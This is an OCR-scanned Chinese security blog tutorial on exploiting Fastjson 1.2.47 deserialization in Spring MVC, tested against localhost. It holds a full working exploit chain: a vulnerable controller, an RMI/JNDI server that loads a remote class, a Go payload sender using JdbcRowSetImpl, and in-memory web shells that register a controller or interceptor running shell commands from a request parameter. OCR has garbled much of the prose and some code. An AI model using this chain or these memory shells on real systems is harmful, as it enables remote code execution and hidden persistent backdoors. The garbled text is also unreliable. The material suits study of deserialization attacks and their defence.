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@Controller
public class TestController {
@RequestMapping("/test")
@ResponseBody
public String test(){
return "<h1>hello world</h1>";

}
}

DA EFCRSELIN 7 A 1519 localhost:8080/test fmIR[E] html U <hl>hello world</hl>
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<dependencies>
<dependency>
<groupld>com.alibaba</groupld>
<artifactld>fastjson</artifactld>
<version>1.2.47</version>
</dependency>

<dependency>

SpringMVCRL & Fastjson I 7 Rl 400 - 2%, RAVERTA

<groupld>org.springframework.boot</groupld>

<artifactld>spring-boot-starter-web</artifactld>

</dependency>

<dependency>

<groupld>org.springframework.boot</groupld>

<artifactld>spring-boot-starter-test</artifactld>

<scope>test</scope>
</dependency>

</dependencies>
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// 1ZHfastison 1.2.47 & FlFH =
import com.alibaba.fastjson.JSON;

@Controller

public class TestController {
@RequestMapping('/deserialize")
@ResponseBody
public String deserialize(@RequestParam String

code) throws Exception{

/] FHIDKIRATE, N T HIE, EFIRERGZEEXLIIFFINDLEA

System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");

JSON.parse(code);
return "deserialize";
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WHEBE) INDI Server

public class JNDIServer {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("badClassName",
"com.test.shell.badClassName","http://127.0.0.1:8000/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("Exploit", referenceWrapper);

4 1 JIN T e LA 1IN

https://www.anquanke.com/post/id/248155

=l L L J— N A~ A A A

2/7



2021/8/5 SpringMVCHL A Fastjsonfll 47 SFI 54047 - %4 % . RAVERT &
HHHY badClassName UAZEL I, HEFSIUAIAFHATITRA4san <

package com.test.shell;

public class badClassName {
static {
try {
Runtime.getRuntime().exec("calc");

} catch (Exception e) {
e.printStackTrace();
}

Reference MY factorylLocation A class XA4RY hitp fRSS2s, ZEEEA Golang 5 7 8 B AVEE 1T IR EY

SEEC NBEEIEMETE badClassName HBIERR, ME classes 112

func main() {
mux := http.NewServeMux()
path := "YourPath\\Fastjson\\target\\classes"
mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))
if err := http.ListenAndServe(":8000", mux); err != nil {
fmt.Printin("ok")

E K 2150 /com/test/shell [FRIIE

&« C B @ localhost:8000/com/test/shell/

InjectToController. class
TestInterceptor. class
badClassName, class

£ Golang &% Fastjson #Y JdbcRowSetImpl ZEFLAY Payload

func main() {
clint := &http.Client{}
payload := "{\n" +
o\"a\"{\n" +
" \"@type\":\"java.lang.Class\"\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetimpl\"\n" +
"oRAn" 4
"A\"b\":{\n" +
! \"@type\":\"com.sun.rowset.JdbcRowSetimpl\"\n" +
! \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"\n" +
! \"autoCommit\":true\n" +
AN+
o
/) B IFHELESNEIER,  fPayload #7TURL 4545
resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))
if err '=nil {
fmt.Printin(err)

}
fmt.PrintIn(resp.StatusCode)
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@RequestMapping(“/deserialize”)
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public String deserialize(@RequestParam String code) thr
System. setProperty(” com. sun. jndi. rmi. object. trust
JSON. parse(code) ;

return “deserialize”;
}
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public void setAutoCommit(boolean var1) throws SQLException {
if (this.conn != null) {
this.conn.setAutoCommit(var1);
}else {
this.conn = this.connect();

this.conn.setAutoCommit(var1);

AT %B1%E this.conn LABEIF N this.connect , HPEIET lookup(this.getDataSourceName()) RIAE, XER
dataSourceName [F2EAIE, EXEWHIESEIEN lookup FE, AGBIE INDI Server (RN NN T4,
¥+ JDNI 4f7E Reference, XESNEEIAM, SLHIMY

private Connection connect() throws SQLException {
if (this.conn '= null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();

DataSource var2 = (DataSource)varl.lookup(this.getDataSourceName());
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package com.test.shell;

import org.springframework.web.context WebApplicationContext;

import org.springframework.web.context.request.RequestContextHolder;

import org.springframework.web.context.request.ServletRequestAttributes;

import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;

import org.springframework.web.servlet. mvc.condition.PatternsRequestCondition;

import org.springframework.web.servlet. mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet. mvc.method.RequestMappinginfo;

import org.springframework.web.servlet. mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.|OException;

import java.lang.reflect.InvocationTargetException;

import java.lang.reflect.Method;

public class InjectToController {
public InjectToController() throws ClassNotFoundException, lllegalAccessException, NoSuchMethodException, NoSuchFieldException, Invocati

onTargetException {

/] FFIEEContext 95 0B 271

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.

currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet. CONTEXT", 0);

RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappi
ngRegistry");

method.setAccessible(true);

/) BT R GG 122K A test Ik

Method method2 = InjectToController.class.getMethod("test");

// JE X Zcontroller fpath

PatternsRequestCondition url = new PatternsRequestCondition("/good");

/] EXFVFIBIEIEIHTTP 752

RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

/] g EHER

RequestMappinglnfo info = new RequestMappinginfo(url, ms, null, null, null, null, null);

/] BIBETAIEIEKAIN SR, 8 R T IRIGEMEH 5 — T HIE R )%

InjectToController injectToController = new InjectToController("aaa");

// FiZcontroller £ FSpring 2588

mappingHandlerMapping.registerMapping(info, injectToController, method?2);

/] B PG REL
public InjectToController(String aaa) {

}

public void test() throws |IOException {
VE -5
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
/] FEOEKEGZ Eemd HH7T
// ZEWTFPHPAJeval($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
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Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField ("urlLookup");

X2 Controller 2N EFES, [ERFA Interceptor BIATES, Interceptor B ANI=EZS, =ML Filter, & AT 20N
FRIE), AIEBAYME R A=,

public class Testinterceptor extends HandlerinterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, lllegalAccessException, InstantiationException {
// #FBlcontext
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframewo
rk.web.servlet.DispatcherServlet. CONTEXT", 0);

// McontextFi3EEAbstractHandlerMapping HISE #3552
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.Abstra

ctHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
// [R5t ERadaptedinterceptors /&%
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedinterceptors");

field.setAccessible(true);
java.util.ArrayList<Object> adaptedinterceptors = (java.util. ArrayList<Object>) field.get(abstractHandlerMapping);

/] BREE RN
for (int i = adaptedinterceptors.size() - 1;i > 0; i--) {
if (adaptedinterceptors.get(i) instanceof Testinterceptor) {
System.out.printin("2 4R 01J TestinterceptorsL 41 17);

return;

}
TestInterceptor aaa = new TestInterceptor("aaa"); // % HN LHIDIZELITEIELR

adaptedinterceptors.add(aaa); // &I+ /Finterceptor

private TestIinterceptor(String aaa) {

}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
/| FFHE B W28
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}else {

return true;

EREFRNXESRIBESRA SpringMVC AEIBEEE1R, SEIC/E/EM Interceptor, ATFATEXZR, EEHARE
FHEE, 75\ HBIHER ASHEENSIAF B A

context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");

=M landgrey IMEXXEAHIREY context B9/LF AT, i ShRA SpringMVC AT~

WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((Servlet
RequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentReque
stAttributes()).getRequest());
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WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.we

b.servlet.DispatcherServlet. CONTEXT", 0);

W7 IXNAS, RIFITREDSFIR, N JNDI Server

public class JNDIServer {

public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {

Registry registry = LocateRegistry.createRegistry(1099);

Reference reference = new Reference("InjectToController",
"com.test.shell.InjectToController", "nttp://127.0.0.1:8000/");

ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);

registry.bind("Exploit", referenceWrapper);

}
}

iE\\Iﬂ localhost:8080/good?cmd=calc , BZU]’_JEBZV\]T?EJ

<« C @ localhost:8080/good?cmd=calc
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